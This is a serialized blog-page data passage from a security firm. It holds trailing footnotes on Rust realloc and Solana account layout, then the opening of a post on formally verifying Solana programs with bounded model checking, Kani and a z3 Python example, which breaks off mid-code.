!Sync",{"type":29,"value":3374},{"type":23,"tag":181,"props":20873,"children":20877},{"href":20874,"ariaLabel":20875,"className":20876,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[20857],[20878],{"type":29,"value":20860},{"type":23,"tag":102,"props":20880,"children":20882},{"id":20881},"user-content-fn-layout",[20883,20885,20890,20891,20904,20906,20911,20913,20918,20920,20925,20927],{"type":29,"value":20884},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":71,"props":20886,"children":20888},{"className":20887},[],[20889],{"type":29,"value":17264},{"type":29,"value":7840},{"type":23,"tag":181,"props":20892,"children":20895},{"href":20893,"rel":20894},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[185],[20896,20898],{"type":29,"value":20897},"not declared with ",{"type":23,"tag":71,"props":20899,"children":20901},{"className":20900},[],[20902],{"type":29,"value":20903},"#[repr(C)]",{"type":29,"value":20905},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":2258,"props":20907,"children":20908},{},[20909],{"type":29,"value":20910},"breaks the entire chain",{"type":29,"value":20912}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":2258,"props":20914,"children":20915},{},[20916],{"type":29,"value":20917},"some",{"type":29,"value":20919}," kind of interface to the specific layout of the specific ",{"type":23,"tag":71,"props":20921,"children":20923},{"className":20922},[],[20924],{"type":29,"value":18834},{"type":29,"value":20926}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":181,"props":20928,"children":20932},{"href":20929,"ariaLabel":20930,"className":20931,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[20857],[20933],{"type":29,"value":20860},{"type":23,"tag":102,"props":20935,"children":20937},{"id":20936},"user-content-fn-rustc-llvm",[20938,20940],{"type":29,"value":20939},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":181,"props":20941,"children":20945},{"href":20942,"ariaLabel":20943,"className":20944,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[20857],[20946],{"type":29,"value":20860},{"type":23,"tag":102,"props":20948,"children":20950},{"id":20949},"user-content-fn-godbolt",[20951,20958,20960,20966,20968],{"type":23,"tag":181,"props":20952,"children":20955},{"href":20953,"rel":20954},"https://godbolt.org/z/PK46xMbxc",[185],[20956],{"type":29,"value":20957},"Click here",{"type":29,"value":20959}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":71,"props":20961,"children":20963},{"className":20962},[],[20964],{"type":29,"value":20965},"libcore",{"type":29,"value":20967}," available for other architectures yet. ",{"type":23,"tag":181,"props":20969,"children":20973},{"href":20970,"ariaLabel":20971,"className":20972,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[20857],[20974],{"type":29,"value":20860},{"type":23,"tag":102,"props":20976,"children":20978},{"id":20977},"user-content-fn-slice-unbound-lifetime",[20979,20981,20986,20988,20994,20996,21002,21004,21010,21012,21018,21020,21026,21028,21033,21035],{"type":29,"value":20980},"The astute reader may have noticed that ",{"type":23,"tag":71,"props":20982,"children":20984},{"className":20983},[],[20985],{"type":29,"value":20674},{"type":29,"value":20987}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":71,"props":20989,"children":20991},{"className":20990},[],[20992],{"type":29,"value":20993},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":20995},", the lifetime parameter ",{"type":23,"tag":71,"props":20997,"children":20999},{"className":20998},[],[21000],{"type":29,"value":21001},"'a",{"type":29,"value":21003}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":71,"props":21005,"children":21007},{"className":21006},[],[21008],{"type":29,"value":21009},"*slice",{"type":29,"value":21011},", which is ",{"type":23,"tag":71,"props":21013,"children":21015},{"className":21014},[],[21016],{"type":29,"value":21017},"&'info [u8]",{"type":29,"value":21019}," (where ",{"type":23,"tag":71,"props":21021,"children":21023},{"className":21022},[],[21024],{"type":29,"value":21025},"'info",{"type":29,"value":21027}," is the lifetime parameter of the ",{"type":23,"tag":71,"props":21029,"children":21031},{"className":21030},[],[21032],{"type":29,"value":17264},{"type":29,"value":21034}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":181,"props":21036,"children":21040},{"href":21037,"ariaLabel":21038,"className":21039,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[20857],[21041],{"type":29,"value":20860},{"type":23,"tag":5178,"props":21043,"children":21044},{},[21045],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":21047},[21048,21054,21058,21059,21061],{"id":16695,"depth":243,"text":21049,"children":21050},"Breaking down realloc",[21051,21052],{"id":16861,"depth":252,"text":16864},{"id":18216,"depth":252,"text":21053},"Back to realloc",{"id":19165,"depth":243,"text":19168,"children":21055},[21056,21057],{"id":19171,"depth":252,"text":19174},{"id":19392,"depth":252,"text":19395},{"id":19578,"depth":243,"text":19581},{"id":19980,"depth":243,"text":21060},"Towards safer unsafe",{"id":17805,"depth":243,"text":20752},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":21066,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":21067,"description":21068,"author":21069,"image":21070,"date":21072,"isFeatured":18,"onBlogPage":18,"tags":21073,"body":21074,"_type":5202,"_id":31306,"_source":5204,"_file":31307,"_stem":31308,"_extension":5207},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":21071,"height":15,"width":16},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[5219,5220],{"type":20,"children":21075,"toc":31278},[21076,21081,21086,21112,21116,21128,21151,21174,21186,21209,21212,21218,21267,21273,21277,21282,21293,21334,21339,21345,21350,21582,21601,21606,21611,21684,21689,21759,21773,22196,22216,22222,22241,22246,22251,22256,22262,22274,22309,22320,22331,22343,22348,22380,22404,22423,22429,22446,22452,22479,22484,22504,22516,22662,22690,22693,22705,22788,22807,22810,22849,23016,23021,23027,23039,23058,23071,23232,23244,23257,23730,23735,23782,23788,23806,23875,24113,24327,24332,24406,24454,24459,24465,24567,24671,24676,24739,24744,24750,24815,24820,24862,24888,24894,24963,24968,25018,25029,25035,25046,25067,25072,25077,25100,25106,25118,25138,26234,26253,26304,26309,26317,26329,26334,26342,26347,26363,26399,26404,26498,26503,26511,26516,26628,26633,26641,26654,26818,26823,26831,26836,26841,26909,26943,26949,26954,26965,26983,27361,27373,27385,27393,27404,27435,27440,27448,27453,27726,27745,27750,27776,28644,28656,28755,28767,28809,28814,28826,28834,28839,28851,28877,29037,29049,29057,29062,29338,29343,29355,29510,29530,29856,29890,30084,30117,30129,30251,30271,30276,30281,30286,30299,30307,30312,30786,30798,30803,30815,30820,31079,31105,31110,31116,31122,31134,31146,31165,31212,31217,31223,31228,31233,31238,31242,31247,31252,31255,31274],{"type":23,"tag":32,"props":21077,"children":21078},{},[21079],{"type":29,"value":21080},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":32,"props":21082,"children":21083},{},[21084],{"type":29,"value":21085},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":32,"props":21087,"children":21088},{},[21089,21091,21095,21097,21102,21104,21111],{"type":29,"value":21090},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":2258,"props":21092,"children":21093},{},[21094],{"type":29,"value":18696},{"type":29,"value":21096}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":2258,"props":21098,"children":21099},{},[21100],{"type":29,"value":21101},"juciest",{"type":29,"value":21103},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":181,"props":21105,"children":21108},{"href":21106,"rel":21107},"https://rekt.news/leaderboard/",[185],[21109],{"type":29,"value":21110},"hundreds of millions of dollars",{"type":29,"value":312},{"type":23,"tag":21113,"props":21114,"children":21115},"hr",{},[],{"type":23,"tag":32,"props":21117,"children":21118},{},[21119,21121,21126],{"type":29,"value":21120},"At OtterSec we are ",{"type":23,"tag":2258,"props":21122,"children":21123},{},[21124],{"type":29,"value":21125},"highly skilled in pest control",{"type":29,"value":21127}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":32,"props":21129,"children":21130},{},[21131,21133,21140,21142,21149],{"type":29,"value":21132},"Recently we were contacted by the ",{"type":23,"tag":181,"props":21134,"children":21137},{"href":21135,"rel":21136},"https://squads.so/",[185],[21138],{"type":29,"value":21139},"Squads team",{"type":29,"value":21141}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":181,"props":21143,"children":21146},{"href":21144,"rel":21145},"https://github.com/Squads-Protocol/squads-mpl",[185],[21147],{"type":29,"value":21148},"Squads Multisig Program",{"type":29,"value":21150}," as our main case study.",{"type":23,"tag":32,"props":21152,"children":21153},{},[21154,21156,21163,21165,21172],{"type":29,"value":21155},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":181,"props":21157,"children":21160},{"href":21158,"rel":21159},"https://www.anchor-lang.com/",[185],[21161],{"type":29,"value":21162},"anchor-lang",{"type":29,"value":21164}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":181,"props":21166,"children":21169},{"href":21167,"rel":21168},"https://github.com/model-checking/kani",[185],[21170],{"type":29,"value":21171},"Kani Rust Verifier",{"type":29,"value":21173},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":32,"props":21175,"children":21176},{},[21177,21179,21184],{"type":29,"value":21178},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":2258,"props":21180,"children":21181},{},[21182],{"type":29,"value":21183},"bounded model checking",{"type":29,"value":21185}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":32,"props":21187,"children":21188},{},[21189],{"type":23,"tag":2258,"props":21190,"children":21191},{},[21192,21194,21201,21203],{"type":29,"value":21193},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":181,"props":21195,"children":21198},{"href":21196,"rel":21197},"https://osec.io/contact",[185],[21199],{"type":29,"value":21200},"this form",{"type":29,"value":21202}," or email us at ",{"type":23,"tag":181,"props":21204,"children":21206},{"href":21205},"mailto:contact@osec.io",[21207],{"type":29,"value":21208},"contact@osec.io",{"type":23,"tag":21113,"props":21210,"children":21211},{},[],{"type":23,"tag":192,"props":21213,"children":21215},{"id":21214},"contents",[21216],{"type":29,"value":21217},"Contents:",{"type":23,"tag":144,"props":21219,"children":21220},{},[21221,21226,21243,21253,21258,21263],{"type":23,"tag":102,"props":21222,"children":21223},{},[21224],{"type":29,"value":21225},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":102,"props":21227,"children":21228},{},[21229,21234,21236,21241],{"type":23,"tag":2302,"props":21230,"children":21231},{},[21232],{"type":29,"value":21233},"Specification",{"type":29,"value":21235},": How can we describe what we ",{"type":23,"tag":2258,"props":21237,"children":21238},{},[21239],{"type":29,"value":21240},"want",{"type":29,"value":21242}," our program to do?",{"type":23,"tag":102,"props":21244,"children":21245},{},[21246,21251],{"type":23,"tag":2302,"props":21247,"children":21248},{},[21249],{"type":29,"value":21250},"Verification",{"type":29,"value":21252},": How do we check that our model is correct?",{"type":23,"tag":102,"props":21254,"children":21255},{},[21256],{"type":29,"value":21257},"Case Study: Squads Multisig",{"type":23,"tag":102,"props":21259,"children":21260},{},[21261],{"type":29,"value":21262},"Additional challenges in Solana",{"type":23,"tag":102,"props":21264,"children":21265},{},[21266],{"type":29,"value":5166},{"type":23,"tag":24,"props":21268,"children":21270},{"id":21269},"formal-verification-with-bounded-model-checking",[21271],{"type":29,"value":21272},"Formal Verification with Bounded Model Checking",{"type":23,"tag":59,"props":21274,"children":21275},{"id":26},[21276],{"type":29,"value":30},{"type":23,"tag":32,"props":21278,"children":21279},{},[21280],{"type":29,"value":21281},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":32,"props":21283,"children":21284},{},[21285,21287,21292],{"type":29,"value":21286},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":2302,"props":21288,"children":21289},{},[21290],{"type":29,"value":21291},"bounded model checking (BMC)",{"type":29,"value":312},{"type":23,"tag":32,"props":21294,"children":21295},{},[21296,21298,21303,21305,21310,21312,21316,21318,21324,21326,21332],{"type":29,"value":21297},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":2258,"props":21299,"children":21300},{},[21301],{"type":29,"value":21302},"symbolically",{"type":29,"value":21304}," rather than ",{"type":23,"tag":2258,"props":21306,"children":21307},{},[21308],{"type":29,"value":21309},"concretely",{"type":29,"value":21311},". Instead of actually performing an ",{"type":23,"tag":2258,"props":21313,"children":21314},{},[21315],{"type":29,"value":11969},{"type":29,"value":21317}," when we see the line ",{"type":23,"tag":71,"props":21319,"children":21321},{"className":21320},[],[21322],{"type":29,"value":21323},"int x = a + b",{"type":29,"value":21325},", we store the symbolic expression ",{"type":23,"tag":71,"props":21327,"children":21329},{"className":21328},[],[21330],{"type":29,"value":21331},"x == a + b",{"type":29,"value":21333},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":32,"props":21335,"children":21336},{},[21337],{"type":29,"value":21338},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":59,"props":21340,"children":21342},{"id":21341},"a-simple-example",[21343],{"type":29,"value":21344},"A simple example",{"type":23,"tag":32,"props":21346,"children":21347},{},[21348],{"type":29,"value":21349},"As an example, consider the following function:",{"type":23,"tag":220,"props":21351,"children":21353},{"code":21352,"language":2148,"meta":7,"className":18839,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[21354],{"type":23,"tag":71,"props":21355,"children":21356},{"__ignoreMap":7},[21357,21386,21420,21432,21457,21485,21500,21527,21534,21541,21549,21575],{"type":23,"tag":230,"props":21358,"children":21359},{"class":232,"line":233},[21360,21365,21370,21374,21378,21382],{"type":23,"tag":230,"props":21361,"children":21362},{"style":256},[21363],{"type":29,"value":21364},"int",{"type":23,"tag":230,"props":21366,"children":21367},{"style":294},[21368],{"type":29,"value":21369}," foo",{"type":23,"tag":230,"props":21371,"children":21372},{"style":274},[21373],{"type":29,"value":302},{"type":23,"tag":230,"props":21375,"children":21376},{"style":256},[21377],{"type":29,"value":21364},{"type":23,"tag":230,"props":21379,"children":21380},{"style":262},[21381],{"type":29,"value":4329},{"type":23,"tag":230,"props":21383,"children":21384},{"style":274},[21385],{"type":29,"value":827},{"type":23,"tag":230,"props":21387,"children":21388},{"class":232,"line":243},[21389,21394,21398,21402,21407,21411,21416],{"type":23,"tag":230,"props":21390,"children":21391},{"style":256},[21392],{"type":29,"value":21393},"    int",{"type":23,"tag":230,"props":21395,"children":21396},{"style":274},[21397],{"type":29,"value":6852},{"type":23,"tag":230,"props":21399,"children":21400},{"style":268},[21401],{"type":29,"value":863},{"type":23,"tag":230,"props":21403,"children":21404},{"style":274},[21405],{"type":29,"value":21406}," x ",{"type":23,"tag":230,"props":21408,"children":21409},{"style":268},[21410],{"type":29,"value":6719},{"type":23,"tag":230,"props":21412,"children":21413},{"style":5149},[21414],{"type":29,"value":21415}," 3",{"type":23,"tag":230,"props":21417,"children":21418},{"style":274},[21419],{"type":29,"value":511},{"type":23,"tag":230,"props":21421,"children":21422},{"class":232,"line":252},[21423,21427],{"type":23,"tag":230,"props":21424,"children":21425},{"style":256},[21426],{"type":29,"value":21393},{"type":23,"tag":230,"props":21428,"children":21429},{"style":274},[21430],{"type":29,"value":21431}," z;\n",{"type":23,"tag":230,"props":21433,"children":21434},{"class":232,"line":280},[21435,21439,21444,21448,21453],{"type":23,"tag":230,"props":21436,"children":21437},{"style":866},[21438],{"type":29,"value":1493},{"type":23,"tag":230,"props":21440,"children":21441},{"style":274},[21442],{"type":29,"value":21443}," (y ",{"type":23,"tag":230,"props":21445,"children":21446},{"style":268},[21447],{"type":29,"value":12792},{"type":23,"tag":230,"props":21449,"children":21450},{"style":5149},[21451],{"type":29,"value":21452}," 100",{"type":23,"tag":230,"props":21454,"children":21455},{"style":274},[21456],{"type":29,"value":827},{"type":23,"tag":230,"props":21458,"children":21459},{"class":232,"line":334},[21460,21465,21469,21473,21477,21481],{"type":23,"tag":230,"props":21461,"children":21462},{"style":274},[21463],{"type":29,"value":21464},"        z ",{"type":23,"tag":230,"props":21466,"children":21467},{"style":268},[21468],{"type":29,"value":863},{"type":23,"tag":230,"props":21470,"children":21471},{"style":274},[21472],{"type":29,"value":6852},{"type":23,"tag":230,"props":21474,"children":21475},{"style":268},[21476],{"type":29,"value":6909},{"type":23,"tag":230,"props":21478,"children":21479},{"style":5149},[21480],{"type":29,"value":10269},{"type":23,"tag":230,"props":21482,"children":21483},{"style":274},[21484],{"type":29,"value":511},{"type":23,"tag":230,"props":21486,"children":21487},{"class":232,"line":371},[21488,21492,21496],{"type":23,"tag":230,"props":21489,"children":21490},{"style":274},[21491],{"type":29,"value":18103},{"type":23,"tag":230,"props":21493,"children":21494},{"style":866},[21495],{"type":29,"value":5654},{"type":23,"tag":230,"props":21497,"children":21498},{"style":274},[21499],{"type":29,"value":277},{"type":23,"tag":230,"props":21501,"children":21502},{"class":232,"line":391},[21503,21507,21511,21515,21519,21523],{"type":23,"tag":230,"props":21504,"children":21505},{"style":274},[21506],{"type":29,"value":21464},{"type":23,"tag":230,"props":21508,"children":21509},{"style":268},[21510],{"type":29,"value":863},{"type":23,"tag":230,"props":21512,"children":21513},{"style":274},[21514],{"type":29,"value":6852},{"type":23,"tag":230,"props":21516,"children":21517},{"style":268},[21518],{"type":29,"value":6719},{"type":23,"tag":230,"props":21520,"children":21521},{"style":5149},[21522],{"type":29,"value":6861},{"type":23,"tag":230,"props":21524,"children":21525},{"style":274},[21526],{"type":29,"value":511},{"type":23,"tag":230,"props":21528,"children":21529},{"class":232,"line":400},[21530],{"type":23,"tag":230,"props":21531,"children":21532},{"style":274},[21533],{"type":29,"value":1552},{"type":23,"tag":230,"props":21535,"children":21536},{"class":232,"line":444},[21537],{"type":23,"tag":230,"props":21538,"children":21539},{"emptyLinePlaceholder":18},[21540],{"type":29,"value":459},{"type":23,"tag":230,"props":21542,"children":21543},{"class":232,"line":453},[21544],{"type":23,"tag":230,"props":21545,"children":21546},{"style":237},[21547],{"type":29,"value":21548},"    // Property P:\n",{"type":23,"tag":230,"props":21550,"children":21551},{"class":232,"line":462},[21552,21557,21562,21566,21571],{"type":23,"tag":230,"props":21553,"children":21554},{"style":294},[21555],{"type":29,"value":21556},"    assert",{"type":23,"tag":230,"props":21558,"children":21559},{"style":274},[21560],{"type":29,"value":21561},"(z ",{"type":23,"tag":230,"props":21563,"children":21564},{"style":268},[21565],{"type":29,"value":18013},{"type":23,"tag":230,"props":21567,"children":21568},{"style":5149},[21569],{"type":29,"value":21570}," 105",{"type":23,"tag":230,"props":21572,"children":21573},{"style":274},[21574],{"type":29,"value":753},{"type":23,"tag":230,"props":21576,"children":21577},{"class":232,"line":471},[21578],{"type":23,"tag":230,"props":21579,"children":21580},{"style":274},[21581],{"type":29,"value":975},{"type":23,"tag":32,"props":21583,"children":21584},{},[21585,21587,21592,21594,21600],{"type":29,"value":21586},"This function takes an input ",{"type":23,"tag":71,"props":21588,"children":21590},{"className":21589},[],[21591],{"type":29,"value":4511},{"type":29,"value":21593}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":71,"props":21595,"children":21597},{"className":21596},[],[21598],{"type":29,"value":21599},"z != 105",{"type":29,"value":312},{"type":23,"tag":32,"props":21602,"children":21603},{},[21604],{"type":29,"value":21605},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":32,"props":21607,"children":21608},{},[21609],{"type":29,"value":21610},"Positive branch:",{"type":23,"tag":220,"props":21612,"children":21614},{"code":21613,"language":2148,"meta":7,"className":18839,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[21615],{"type":23,"tag":71,"props":21616,"children":21617},{"__ignoreMap":7},[21618,21643,21659],{"type":23,"tag":230,"props":21619,"children":21620},{"class":232,"line":233},[21621,21626,21630,21634,21638],{"type":23,"tag":230,"props":21622,"children":21623},{"style":274},[21624],{"type":29,"value":21625},"y ",{"type":23,"tag":230,"props":21627,"children":21628},{"style":268},[21629],{"type":29,"value":10911},{"type":23,"tag":230,"props":21631,"children":21632},{"style":274},[21633],{"type":29,"value":21406},{"type":23,"tag":230,"props":21635,"children":21636},{"style":268},[21637],{"type":29,"value":6719},{"type":23,"tag":230,"props":21639,"children":21640},{"style":5149},[21641],{"type":29,"value":21642}," 3\n",{"type":23,"tag":230,"props":21644,"children":21645},{"class":232,"line":243},[21646,21650,21654],{"type":23,"tag":230,"props":21647,"children":21648},{"style":274},[21649],{"type":29,"value":21625},{"type":23,"tag":230,"props":21651,"children":21652},{"style":268},[21653],{"type":29,"value":12792},{"type":23,"tag":230,"props":21655,"children":21656},{"style":5149},[21657],{"type":29,"value":21658}," 100\n",{"type":23,"tag":230,"props":21660,"children":21661},{"class":232,"line":252},[21662,21667,21671,21675,21679],{"type":23,"tag":230,"props":21663,"children":21664},{"style":274},[21665],{"type":29,"value":21666},"z ",{"type":23,"tag":230,"props":21668,"children":21669},{"style":268},[21670],{"type":29,"value":10911},{"type":23,"tag":230,"props":21672,"children":21673},{"style":274},[21674],{"type":29,"value":6852},{"type":23,"tag":230,"props":21676,"children":21677},{"style":268},[21678],{"type":29,"value":6909},{"type":23,"tag":230,"props":21680,"children":21681},{"style":5149},[21682],{"type":29,"value":21683}," 2\n",{"type":23,"tag":32,"props":21685,"children":21686},{},[21687],{"type":29,"value":21688},"Negative branch:",{"type":23,"tag":220,"props":21690,"children":21692},{"code":21691,"language":2148,"meta":7,"className":18839,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[21693],{"type":23,"tag":71,"props":21694,"children":21695},{"__ignoreMap":7},[21696,21719,21735],{"type":23,"tag":230,"props":21697,"children":21698},{"class":232,"line":233},[21699,21703,21707,21711,21715],{"type":23,"tag":230,"props":21700,"children":21701},{"style":274},[21702],{"type":29,"value":21625},{"type":23,"tag":230,"props":21704,"children":21705},{"style":268},[21706],{"type":29,"value":10911},{"type":23,"tag":230,"props":21708,"children":21709},{"style":274},[21710],{"type":29,"value":21406},{"type":23,"tag":230,"props":21712,"children":21713},{"style":268},[21714],{"type":29,"value":6719},{"type":23,"tag":230,"props":21716,"children":21717},{"style":5149},[21718],{"type":29,"value":21642},{"type":23,"tag":230,"props":21720,"children":21721},{"class":232,"line":243},[21722,21726,21731],{"type":23,"tag":230,"props":21723,"children":21724},{"style":274},[21725],{"type":29,"value":21625},{"type":23,"tag":230,"props":21727,"children":21728},{"style":268},[21729],{"type":29,"value":21730},"\u003C=",{"type":23,"tag":230,"props":21732,"children":21733},{"style":5149},[21734],{"type":29,"value":21658},{"type":23,"tag":230,"props":21736,"children":21737},{"class":232,"line":252},[21738,21742,21746,21750,21754],{"type":23,"tag":230,"props":21739,"children":21740},{"style":274},[21741],{"type":29,"value":21666},{"type":23,"tag":230,"props":21743,"children":21744},{"style":268},[21745],{"type":29,"value":10911},{"type":23,"tag":230,"props":21747,"children":21748},{"style":274},[21749],{"type":29,"value":6852},{"type":23,"tag":230,"props":21751,"children":21752},{"style":268},[21753],{"type":29,"value":6719},{"type":23,"tag":230,"props":21755,"children":21756},{"style":5149},[21757],{"type":29,"value":21758}," 1\n",{"type":23,"tag":32,"props":21760,"children":21761},{},[21762,21764,21771],{"type":29,"value":21763},"Using the ",{"type":23,"tag":181,"props":21765,"children":21768},{"href":21766,"rel":21767},"https://github.com/Z3Prover/z3",[185],[21769],{"type":29,"value":21770},"z3",{"type":29,"value":21772}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":220,"props":21774,"children":21778},{"code":21775,"language":21776,"meta":7,"className":21777,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[21779],{"type":23,"tag":71,"props":21780,"children":21781},{"__ignoreMap":7},[21782,21803,21810,21836,21860,21884,21891,21899,21916,21944,21963,21991,21998,22006,22027,22045,22052,22060,22075,22102,22121,22148,22155,22162,22181],{"type":23,"tag":230,"props":21783,"children":21784},{"class":232,"line":233},[21785,21789,21794,21798],{"type":23,"tag":230,"props":21786,"children":21787},{"style":866},[21788],{"type":29,"value":4276},{"type":23,"tag":230,"props":21790,"children":21791},{"style":274},[21792],{"type":29,"value":21793}," z3 ",{"type":23,"tag":230,"props":21795,"children":21796},{"style":866},[21797],{"type":29,"value":4258},{"type":23,"tag":230,"props":21799,"children":21800},{"style":268},[21801],{"type":29,"value":21802}," *\n",{"type":23,"tag":230,"props":21804,"children":21805},{"class":232,"line":243},[21806],{"type":23,"tag":230,"props":21807,"children":21808},{"emptyLinePlaceholder":18},[21809],{"type":29,"value":459},{"type":23,"tag":230,"props":21811,"children":21812},{"class":232,"line":252},[21813,21818,21822,21827,21832],{"type":23,"tag":230,"props":21814,"children":21815},{"style":274},[21816],{"type":29,"value":21817},"x ",{"type":23,"tag":230,"props":21819,"children":21820},{"style":268},[21821],{"type":29,"value":863},{"type":23,"tag":230,"props":21823,"children":21824},{"style":274},[21825],{"type":29,"value":21826}," Int(",{"type":23,"tag":230,"props":21828,"children":21829},{"style":380},[21830],{"type":29,"value":21831},"'x'",{"type":23,"tag":230,"props":21833,"children":21834},{"style":274},[21835],{"type":29,"value":4516},{"type":23,"tag":230,"props":21837,"children":21838},{"class":232,"line":280},[21839,21843,21847,21851,21856],{"type":23,"tag":230,"props":21840,"children":21841},{"style":274},[21842],{"type":29,"value":21625},{"type":23,"tag":230,"props":21844,"children":21845},{"style":268},[21846],{"type":29,"value":863},{"type":23,"tag":230,"props":21848,"children":21849},{"style":274},[21850],{"type":29,"value":21826},{"type":23,"tag":230,"props":21852,"children":21853},{"style":380},[21854],{"type":29,"value":21855},"'y'",{"type":23,"tag":230,"props":21857,"children":21858},{"style":274},[21859],{"type":29,"value":4516},{"type":23,"tag":230,"props":21861,"children":21862},{"class":232,"line":334},[21863,21867,21871,21875,21880],{"type":23,"tag":230,"props":21864,"children":21865},{"style":274},[21866],{"type":29,"value":21666},{"type":23,"tag":230,"props":21868,"children":21869},{"style":268},[21870],{"type":29,"value":863},{"type":23,"tag":230,"props":21872,"children":21873},{"style":274},[21874],{"type":29,"value":21826},{"type":23,"tag":230,"props":21876,"children":21877},{"style":380},[21878],{"type":29,"value":21879},"'z'",{"type":23,"tag":230,"props":21881,"children":21882},{"style":274},[21883],{"type":29,"value":4516},{"type":23,"tag":230,"props":21885,"children":21886},{"class":232,"line":371},[21887],{"type":23,"tag":230,"props":21888,"children":21889},{"emptyLinePlaceholder":18},[21890],{"type":29,"value":459},{"type":23,"tag":230,"props":21892,"children":21893},{"class":232,"line":391},[21894],{"type":23,"tag":230,"props":21895,"children":21896},{"style":237},[21897],{"type":29,"value":21898},"# Positive branch:\n",{"type":23,"tag":230,"props":21900,"children":21901},{"class":232,"line":400},[21902,21907,21911],{"type":23,"tag":230,"props":21903,"children":21904},{"style":274},[21905],{"type":29,"value":21906},"s ",{"type":23,"tag":230,"props":21908,"children":21909},{"style":268},[21910],{"type":29,"value":863},{"type":23,"tag":230,"props":21912,"children":21913},{"style":274},[21914],{"type":29,"value":21915}," Solver()\n",{"type":23,"tag":230,"props":21917,"children":21918},{"class":232,"line":444},[21919,21924,21928,21932,21936,21940],{"type":23,"tag":230,"props":21920,"children":21921},{"style":274},[21922],{"type":29,"value":21923},"s.add(y 